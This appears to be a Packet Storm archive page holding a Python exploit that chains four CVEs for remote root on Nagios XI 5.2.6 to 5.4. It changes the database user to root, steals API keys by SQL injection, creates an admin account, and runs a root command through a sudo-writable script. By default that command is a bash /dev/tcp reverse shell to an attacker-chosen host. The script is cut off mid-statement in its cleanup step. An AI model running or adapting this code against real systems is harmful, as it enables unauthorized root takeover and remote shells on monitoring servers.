exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios XI 5.x Chained Remote Root

Nagios XI 5.x Chained Remote Root
Posted Apr 30, 2018
Authored by Benny Husted, Cale Smith, Jared Arave

Nagios XI versions 5.2.6 up to 5.2.9, 5.3, and 5.4 chained remote root exploit.

tags | exploit, remote, root
advisories | CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
SHA-256 | bb9a9ca26635c2779d5e4662eab43b6b113e781b49058727e94049827cb3f59a

Nagios XI 5.x Chained Remote Root

Change Mirror Download
# Exploit Title: Nagios XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
# Date: 4/17/2018
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.nagios.com/
# Software Link: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
# Version: Nagios XI versions 5.2.[6-9], 5.3, 5.4
# Tested on: CentOS 6.7
# CVE: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
import re
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Nagois XI 5.2.[6-9], 5.3, 5.4 Chained Remote Root
This exploit leverages the vulnerabilities enumerated in these CVES:
[ CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736 ]

More details here:
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html

Steps are as follows:

0. Determine Version
1. Change the database user to root:nagiosxi
2. Get an API key w/ SQLi
3. Use the API Key to add an administrative user
4. Login as that administrative user
5. Do some authenticated RCE w/ privesc
6. Cleanup.
###############################################################################
"""
# TODO: Figure out what port it's running on, 80 or 443.

def parse_apikeys(resp):
begin_delim = 'START_API:'
end_delim = ':END_API'

start_indecies = [m.start() for m in re.finditer(begin_delim, resp)]
end_indecies = [m.start() for m in re.finditer(end_delim, resp)]

unique_keys = []

for i, index in enumerate(start_indecies):
start_index = index + len(begin_delim)
end_index = end_indecies[i]
key = resp[start_index:end_index]
if not key in unique_keys:
unique_keys.append(key)

return unique_keys

def parse_nsp_str(resp):
begin_delim = 'var nsp_str = "'
end_delim = '";\n'

start_index = resp.find(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_cmd_id(resp, cmdname):

begin_delim = "'"
end_delim = "', '{0}')\"><img src='images/cross.png' alt='Delete'>".format(cmdname)

end_idx = resp.find(end_delim)

resp = resp[:end_idx]
resp = resp[resp.rfind(begin_delim)+1:]

return resp

def parse_nagiosxi(resp):
resp = str(resp)
begin_delim = 'Set-Cookie: nagiosxi='
end_delim = ';'

# find the last instance of the nagiosxi cookie...
start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]

def parse_version(resp):
resp = str(resp)
begin_delim = 'name="version" value="'
end_delim = '"'

start_index = resp.rfind(begin_delim) + len(begin_delim)
resp = resp[start_index:]
end_index = resp.find(end_delim)

return resp[:end_index]
def change_db_user(usr, pwd, step):

url = '/nagiosql/admin/settings.php'
headers = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

params = urllib.urlencode({
'txtRootPath':'nagiosql',
'txtBasePath':'/var/www/html/nagiosql/',
'selProtocol':'http',
'txtTempdir':'/tmp',
'selLanguage':'en_GB',
'txtEncoding':'utf-8',
'txtDBserver':'localhost',
'txtDBport':3306,
'txtDBname':'nagiosql',
'txtDBuser': usr,
'txtDBpass':pwd,
'txtLogoff':3600,
'txtLines':15,
'selSeldisable':1
})

print "[+] STEP {0}: Setting Nagios QL DB user to {1}.".format(step, usr)
print "[+] STEP {0}: http://{1}{2}".format(step, RHOST, url)

con = httplib.HTTPConnection(RHOST, 80)
con.set_debuglevel(0)
con.request("POST", url, params, headers=headers)

resp = con.getresponse()
con.close()

return resp

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
" %prog -r <appliance_ip> -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
help="Target Nagios XI host")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if not options.rhost:
parser.error("[!] No remote host specified.\n")
parser.print_help()
sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
cmd = options.cmd
else:
cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

################################################################
# REQUEST ZERO: GET NAGIOS VERSION
################################################################

url0 = '/nagiosxi/login.php'
headers0 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

print "[+] STEP 0: Get Nagios XI version string."
print "[+] STEP 0: http://{0}{1}".format(RHOST, url0)

con0 = httplib.HTTPConnection(RHOST, 80)
con0.set_debuglevel(0)
con0.request("POST", url0, headers=headers0)
r0 = con0.getresponse()

r0_resp = r0.read()
version = parse_version(r0_resp)
ver_int = int(version.split('.')[1])

con0.close()
print "[+] STEP 0: Nagios XI verions is: {0}".format(version)

################################################################
# REQUEST ONE: CHANGE THE DATABASE USER TO ROOT
################################################################


r1 = change_db_user('root', 'nagiosxi', '1')

if r1.status == 302:
print "[+] STEP 1: Received a 302 Response. That's good!"
else:
print "[!] STEP 1: Received a {0} Response. That's bad.".format(str(r1.status))
exit()


################################################################
# REQUEST TWO: GET THE API KEY USING SQLi
################################################################

print ""
url2 = '/nagiosql/admin/helpedit.php'
headers2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

# Versions of NagiosXI < 5.3.0 use 'backend_ticket', not 'api_key'.
sqli_param = "api_key" if (ver_int >= 3) else "backend_ticket"
print sqli_param

params2 = urllib.urlencode({
'selInfoKey1':'c\'UNION SELECT CONCAT(\'START_API:\',{0},\':END_API\') FROM nagiosxi.xi_users-- '.format(sqli_param),
'hidKey1':'common',
'selInfoKey2':'free_variables_name',
'hidKey2':'',
'selInfoVersion':'',
'hidVersion':'',
'taContent':'',
'modus':0,
'':''
})

print "[+] STEP 2: Exploiting SQLi to extract user API keys."
print "[+] STEP 2: http://{0}{1}".format(RHOST, url2)

con2 = httplib.HTTPConnection(RHOST, 80)
con2.set_debuglevel(1)
con2.request("POST", url2, params2, headers=headers2)
r2 = con2.getresponse()

if r2.status == 302:
print "[+] STEP 2: Received a 302 Response. That's good!"
else:
print "[!] STEP 2: Received a {0} Response. That's bad.".format(str(r2.status))
exit()

con2.close()

r2_resp = r2.read()
api_keys = parse_apikeys(r2_resp)
random.shuffle(api_keys)

if len(api_keys) > 0:
print "[+] Found {0} unique API keys. Cool:".format(str(len(api_keys)))
for key in api_keys:
print "[+] {0}".format(key)
else:
print "[!] No API keys found! Oh no. Exiting..."
exit()


################################################################
# REQUEST THREE: USE THE API KEY TO ADD AN ADMIN USER
################################################################

print ""
url3 = '/nagiosxi/api/v1/system/user?apikey=XXXAPIKEYLIVESHEREXXX&pretty=1'
headers3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded'}

# Generate the sketchiest username possibe :D
sploit_username = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))
# And also the worlds best password
sploit_password = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(16))

params3 = urllib.urlencode({
'username':sploit_username,
'password':sploit_password,
'name':'Firsty Lasterson',
'email':'{0}@localhost'.format(sploit_username),
'auth_level':'admin',
'force_pw_change':0
})

print "[+] STEP 3: Using API Keys to add an administrative user..."

found_it = False
for i, key in enumerate(api_keys):
url3_try = url3.replace('XXXAPIKEYLIVESHEREXXX', key)
print "[+] STEP 3: http://{0}{1}".format(RHOST, url3_try)

con3 = httplib.HTTPConnection(RHOST, 80)
con3.set_debuglevel(0)
con3.request("POST", url3_try, params3, headers=headers3)
r3 = con3.getresponse()
r3_contents = r3.read()

if r3.status == 200:
print "[+] STEP 3: Received a 200 Response. That's good!"
if "was added successfully" in r3_contents:
print "[+] STEP 3: User account username:{0} passwd: {1} was added successfully!".format(sploit_username, sploit_password)
print "[+] STEP 3: Moving to Step 4...."
found_it = True
con3.close()
break
else:
"[!] STEP 3: API_KEY access was denied. That's bad."
continue
else:
print "[!] STEP 3: Received a {0} Response. That's bad.".format(str(r2.status))
continue

print "[!] STEP 3: Failed to add a user. Try some more API keys..."
con3.close()

if found_it == False:
print "[!] STEP 3: Step 3 failed.... oh no!"

################################################################
# REQUEST FOUR: LOGIN AS ADMINISTRATIVE USER
################################################################

print ""
print "[+] STEP 4.1: Authenticate as user TODO."
print "[+] STEP 4.1: Get NSP for login..."
url4p1 = '/nagiosxi/login.php'
headers4p1 = {'Host' : RHOST}
params4p1 = ""

con4p1 = httplib.HTTPConnection(RHOST, 80)
con4p1.set_debuglevel(0)
con4p1.request("POST", url4p1, params4p1, headers=headers4p1)
r4p1 = con4p1.getresponse()

r4p1_resp = r4p1.read()

login_nsp = parse_nsp_str(r4p1_resp)
login_nagiosxi = parse_nagiosxi(r4p1.msg)

con4p1.close()

print "[+] STEP 4.1: login_nsp = {0}".format(login_nsp)
print "[+] STEP 4.1: login_nagiosxi = {0}".format(login_nagiosxi)

# 4.2 ---------------------------------------------------------------

print "[+] STEP 4.2: Authenticating..."

url4p2 = '/nagiosxi/login.php'
headers4p2 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(login_nagiosxi)}
params4p2 = urllib.urlencode({
'nsp':login_nsp,
'page':'auth',
'debug':'',
'pageopt':'login',
'username':sploit_username,
'password':sploit_password,
'loginButton':'',
})

con4p2 = httplib.HTTPConnection(RHOST, 80)
con4p2.set_debuglevel(0)
con4p2.request("POST", url4p2, params4p2, headers=headers4p2)
r4p2 = con4p2.getresponse()
r4p2_resp = r4p2.read()
authed_nagiosxi = parse_nagiosxi(r4p2.msg)
con4p2.close()

print "[+] STEP 4.2: authed_nagiosxi = {0}".format(authed_nagiosxi)

# 4.3 ---------------------------------------------------------------

print "[+] STEP 4.3: Getting an authed nsp token..."

url4p3 = '/nagiosxi/index.php'
headers4p3 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}
params4p3 = ""

con4p3 = httplib.HTTPConnection(RHOST, 80)
con4p3.set_debuglevel(0)
con4p3.request("POST", url4p3, params4p3, headers=headers4p3)
r4p3 = con4p3.getresponse()
r4p3_resp = r4p3.read()
authed_nsp = parse_nsp_str(r4p3_resp)
con4p3.close()

print "[+] STEP 4.3: authed_nsp = {0}".format(authed_nsp)

################################################################
# REQUEST FIVE: Excute command
################################################################

print "[+] STEP 5: Executing command as root!..."
url5 = '/nagiosxi/backend/index.php?'
headers5 = {'Host' : RHOST,
'Content-Type' : 'application/x-www-form-urlencoded',
'Cookie' : 'nagiosxi={0}'.format(authed_nagiosxi)}

privesc_cmd = 'cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak && echo "{0}" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /usr/local/nagiosxi/scripts/reset_config_perms.sh.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh'.format(cmd)
privesc_cmd = "$(" + privesc_cmd + ")"

url5 = url5 + urllib.urlencode({
'cmd':'submitcommand',
'command':'1111',
'command_data':privesc_cmd
})

con5 = httplib.HTTPConnection(RHOST, 80)
con5.set_debuglevel(0)
con5.request("POST", url5, headers=headers5)
r5 = con5.getresponse()

r5_resp = r5.read()
con5.close()

if r5.status == 200:
print "[+] STEP 5: Received a 200 Response. That's good!"
else:
print "[!] STEP 5: Received a {0} Response. That's bad.".format(str(r5.status))
exit()

print "[+] STEP 5: Successfully ran command. We're done?"


################################################################
# REQUEST SIX: Cleanup
################################################################

print "[+] STEP 6: Cleanup time"

r1 = change_db_user('nagiosql', 'n@gweb', '6')

if r1.status == 302:
print "[+] STEP 6: Received a 302 Response. That's good!"
else:
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close